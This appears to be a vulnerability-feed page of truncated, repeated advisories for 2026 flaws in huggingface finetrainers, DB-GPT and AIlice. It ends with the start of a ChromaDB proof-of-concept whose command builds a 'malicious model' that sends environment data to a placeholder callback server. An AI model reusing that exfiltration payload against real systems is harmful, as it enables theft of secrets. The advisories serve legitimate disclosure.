CVE-2026-124588

A security flaw has been discovered in huggingface finetrainers 0.1.0/0.2.0. The impacted element is the function resolvecomponentcls of the file finetrainers/utils/model.py of the component Model Index Handler. Performing a manipulation of the argument Library results in code injection. The atta...

CVE-2026-124588

A security flaw exists in huggingface finetrainers versions 0.1.0 and 0.2.0 . The vulnerability is located in the resolve_component_cls function within the file finetrainers/utils/model.py of the Model Index Handler component. By manipulating the Library argument, an attacker can perform a remote...

CVE-2026-124588 huggingface finetrainers Model Index model.py resolve_component_cls code injection

A security flaw has been discovered in huggingface finetrainers 0.1.0/0.2.0. The impacted element is the function resolvecomponentcls of the file finetrainers/utils/model.py of the component Model Index Handler. Performing a manipulation of the argument Library results in code injection. The atta...

CVE-2026-124588 huggingface finetrainers Model Index model.py resolve_component_cls code injection

A security flaw has been discovered in huggingface finetrainers 0.1.0/0.2.0. The impacted element is the function resolvecomponentcls of the file finetrainers/utils/model.py of the component Model Index Handler. Performing a manipulation of the argument Library results in code injection. The atta...

EUVD-2026-119898

A security flaw has been discovered in huggingface finetrainers 0.1.0/0.2.0. The impacted element is the function resolvecomponentcls of the file finetrainers/utils/model.py of the component Model Index Handler. Performing a manipulation of the argument Library results in code injection. The atta...

CVE-2026-124588

A security flaw has been discovered in huggingface finetrainers 0.1.0/0.2.0. The impacted element is the function resolvecomponentcls of the file finetrainers/utils/model.py of the component Model Index Handler. Performing a manipulation of the argument Library results in code injection. The atta...

CVE-2026-124588: huggingface finetrainers: A security flaw has been discovered in huggingface finetrainers 0.1.0/0.2.0

A security flaw has been discovered in huggingface finetrainers 0.1.0/0.2.0. The impacted element is the function resolvecomponentcls of the file finetrainers/utils/model.py of the component Model Index Handler. Performing a manipulation of the argument Library results in code injection. The atta...

PT-2026-140315

A security flaw has been discovered in huggingface finetrainers 0.1.0/0.2.0. The impacted element is the function resolve component cls of the file finetrainers/utils/model.py of the component Model Index Handler. Performing a manipulation of the argument Library results in code injection. The...

CVE-2026-123019

A weakness has been identified in eosphoros-ai DB-GPT up to 0.8.2. Impacted is the function execmodule of the file hfadapter.py of the component HuggingFace Adapter. Executing a manipulation of the argument trustremotecode can lead to inclusion of functionality from untrusted control sphere. The...

CVE-2026-123019 eosphoros-ai DB-GPT HuggingFace Adapter hf_adapter.py exec_module inclusion of functionality from untrusted control sphere

A weakness has been identified in eosphoros-ai DB-GPT up to 0.8.2. Impacted is the function execmodule of the file hfadapter.py of the component HuggingFace Adapter. Executing a manipulation of the argument trustremotecode can lead to inclusion of functionality from untrusted control sphere. The...

CVE-2026-123019

A weakness exists in eosphoros-ai DB-GPT up to version 0.8.2 within the HuggingFace Adapter component. Specifically, the exec_module function in the hf_adapter.py file is vulnerable to the manipulation of the trust_remote_code argument. This flaw allows for the inclusion of functionality from an ...

EUVD-2026-117415

A weakness has been identified in eosphoros-ai DB-GPT up to 0.8.2. Impacted is the function execmodule of the file hfadapter.py of the component HuggingFace Adapter. Executing a manipulation of the argument trustremotecode can lead to inclusion of functionality from untrusted control sphere. The...

CVE-2026-123019 eosphoros-ai DB-GPT HuggingFace Adapter hf_adapter.py exec_module inclusion of functionality from untrusted control sphere

A weakness has been identified in eosphoros-ai DB-GPT up to 0.8.2. Impacted is the function execmodule of the file hfadapter.py of the component HuggingFace Adapter. Executing a manipulation of the argument trustremotecode can lead to inclusion of functionality from untrusted control sphere. The...

CVE-2026-122160

A security vulnerability has been detected in myshell-ai AIlice up to 0.4.0. This vulnerability affects the function LoadModelPEFT of the file ailice/core/llm/AModelCausalLM.py of the component HuggingFace Model Wrapper. The manipulation of the argument basemodelnameorpath leads to inclusion of...

EUVD-2026-117269

A security vulnerability has been detected in myshell-ai AIlice up to 0.4.0. This vulnerability affects the function LoadModelPEFT of the file ailice/core/llm/AModelCausalLM.py of the component HuggingFace Model Wrapper. The manipulation of the argument basemodelnameorpath leads to inclusion of...

CVE-2026-122160 myshell-ai AIlice HuggingFace Model Wrapper AModelCausalLM.py LoadModel_PEFT inclusion of functionality from untrusted control sphere

A security vulnerability has been detected in myshell-ai AIlice up to 0.4.0. This vulnerability affects the function LoadModelPEFT of the file ailice/core/llm/AModelCausalLM.py of the component HuggingFace Model Wrapper. The manipulation of the argument basemodelnameorpath leads to inclusion of...

CVE-2026-122160

The myshell-ai AIlice library (versions up to 0.4.0 ) contains a security vulnerability in the HuggingFace Model Wrapper component. Specifically, the LoadModel_PEFT function in ailice/core/llm/AModelCausalLM.py is susceptible to inclusion of functionality from untrusted control sphere (CWE-829). ...

PT-2026-137320

A security vulnerability has been detected in myshell-ai AIlice up to 0.4.0. This vulnerability affects the function LoadModel PEFT of the file ailice/core/llm/AModelCausalLM.py of the component HuggingFace Model Wrapper. The manipulation of the argument base model name or path leads to inclusion...

eosphoros DB-GPT software supply chain issue vulnerability

Eosphoros DB-GPT versions 0.8.2 and earlier contain a software supply chain vulnerability. This vulnerability stems from improper handling of the trustremotecode parameter in the execmodule function within the hfadapter.py file in the HuggingFace Adapter component. As a result, functionality is...

Project-CVE-2026-45833

Project-CVE-2026-45833 CVE-2026-45833 ChromaDB TRY AT YOUR OWN RISKS SOME CODE NEED TO MODIFY. 1. Generate malicious model python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator gen.generatemodel'exfil-model', 'exfilenv', 'exfilurl': 'http://your-server.com/callback' ...